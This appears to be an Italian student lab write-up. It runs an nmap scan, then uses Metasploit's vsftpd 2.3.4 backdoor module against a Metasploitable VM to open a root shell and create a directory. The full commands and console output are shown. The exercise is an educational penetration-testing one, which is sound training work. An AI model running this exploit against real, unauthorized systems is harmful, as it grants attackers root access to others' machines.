METASPLOIT

Per l'esercizio che segue andiamo a configurare gli IP delle macchine come richiesto dalla traccia: Metaslpoitable 192.168.1.149 e di conseguenza anche Kali 192.168.1.100

La prima cosa da fare è individuare porte e servizi aperti sul target; eseguiamo quindi una scansione con nmap

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 08:56 GMT
Stats: 0:01:16 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.00% done; ETC: 08:57 (0:00:03 remaining)
Stats: 0:02:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 95.00% done; ETC: 08:58 (0:00:06 remaining)
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 100.00% done; ETC: 08:59 (0:00:00 remaining)
Nmap scan report for 192.168.1.149
Host is up (0.0013s latency).
Not shown: 980 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/
```

La traccia ci chiede di utilizzare il servizio ftp, con nmap vediamo che il servizio è aperto, ed è sulla porta 21.

Ora possiamo spostarci su metasloit; lanciamo il tool con il comando *msfconsole*, cerchiamo gli expoit disponibili per il servizio ftp con il comando *show vsftpd*.

```
msf6 >
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2
 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.
4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/
vsftpd_234_backdoor
```

Il nostro obiettivo è eseguire la shell da remoto per poter creare una nuova directory; quindi utilizzeremo una backdoor (*exploit/unix/ftp/vsftpd_234_backdoor*).

Carichiamo l'expoit con il comando *use exploit/unix/ftp/vsftpd_234_backdoor*, potremmo anche utilizzare il numero definito dal tool 1 (come suggerito da metsploit nell'immagine della pagina precedente).
Eseguiamo il comando *show options* per controllare cosa dobbiamo specificare per utilizzare questo exploit: vediamo che sono richieste IP target e la porta (la porta è già impostata di default sulla 21, in quanto servizio ftp)(1)

Impostiamo IP target con il comando *set 192.168.1.149* e a questo punto contolliamo anche i payloads disponibili.
Possiamo notare che c'è un unico payload disponibile *payload/cmd/unix/interact*, in questo caso viene preso di default (essendo l'unico), in caso il comando per impostare il payload è *set payload cmd/unix/interact*.

Ora siamo pronti per eseguire l'exploit con il medesimo comando *exploit*. Per qualche motivo si è dovuto inserire 2 volte ma alla seconda l'attacco va a buon fine e ci fa accedere alla shell della MV Metasploitable.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)
                                  (1)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                      normal  No     Unix Command, Interact with Established Connection


msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:33175 → 192.168.1.149:6200) at 2024-01-15 09:07:53 +0000
```

Ora abbiamo pieno accesso alla macchina target, come mostrato nelle immagini di lato possiamo eseguire qualsiasi comando.

L'esercizio ci chiede di creare una directory sul root: eseguiamo il comando *mkdir test_metasploit*.

```
whoami
root
mkdir test_metasploit
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr b6:44:54:d7:c0:fe
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::b444:54ff:fed7:c0fe/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2547 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1595 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:189767 (185.3 KB)  TX bytes:132288 (129.1 KB)
          Base address:0×c000 Memory:febc0000-febe0000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:152 errors:0 dropped:0 overruns:0 frame:0
          TX packets:152 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:52737 (51.5 KB)  TX bytes:52737 (51.5 KB)
```

Per controllare che la directory sia stata effettivamente creata sulla macchina target, accediamo ad Metasploitable e andiamo a controllare che sia stata creata.

```
root@metasploitable:~# ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
root@metasploitable:~# _
```

Metasploit è un tool molto interessante per eseguire exploit di diverso tipo su diversi OS.
Exploit: si intendono dei programmi che sfruttano le vulnerabilità per poter eseguire azioni specifiche sui target attaccati.
FTP: File Transfer Protocol, cioè è un protocollo di comunicazione che utilizza TCP (Trasmission Control Protocol) per il trasferimento di dati tra client e server. Viene utilizzato anche per l'uso di computer da remoto che è esattamente quello che abbiamo visto in questo esercizio.